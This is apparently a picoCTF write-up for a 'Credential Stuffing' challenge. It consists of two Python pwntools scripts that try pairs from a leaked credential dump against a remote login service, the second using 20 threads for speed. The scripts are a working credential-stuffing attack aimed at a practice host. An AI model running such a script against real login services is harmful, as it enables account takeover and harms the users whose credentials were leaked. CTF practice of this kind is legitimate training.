Credential Stuffing

Initial Attempt

from pwn import *

context.log_level = 'error'  # Suppress unnecessary output
with open ("creds-dump.txt", "r") as f:
    creds = f.readlines()

for i, cred in enumerate(creds):
    print(f"Trying credentials {i+1}/{len(creds)}")
    user, pwd = cred.strip().split(";")
    p = remote("crystal-peak.picoctf.net", 53971)
    p.recvuntil(b"Username: ")
    p.sendline(user.encode())
    p.recvuntil(b"Password: ")
    p.sendline(pwd.encode())
    p.recvline()
    p.recvline()
    response = p.recvline()
    if b'Invalid' not in response:
        print(f"Found valid credentials: {user}:{pwd}")
        break
    p.close()

But it was too slow

Working Script

from pwn import *
from concurrent.futures import ThreadPoolExecutor
import threading

context.log_level = 'error'

HOST = "crystal-peak.picoctf.net"
PORT = 60418
THREADS = 20

with open("creds-dump.txt") as f:
    creds = [line.strip().split(";") for line in f]

found = threading.Event()


def try_login(cred):
    if found.is_set():
        return

    user, pwd = cred
    try:
        p = remote(HOST, PORT)
        p.recvuntil(b"Username: ")
        p.sendline(user.encode())

        p.recvuntil(b"Password: ")
        p.sendline(pwd.encode())

        p.recvline()
        p.recvline()
        response = p.recvline()

        if b'Invalid' not in response:
            print(f"\n[+] Found valid credentials: {user}:{pwd}")
            found.set()

        p.close()

    except:
        pass


with ThreadPoolExecutor(max_workers=THREADS) as executor:
    executor.map(try_login, creds)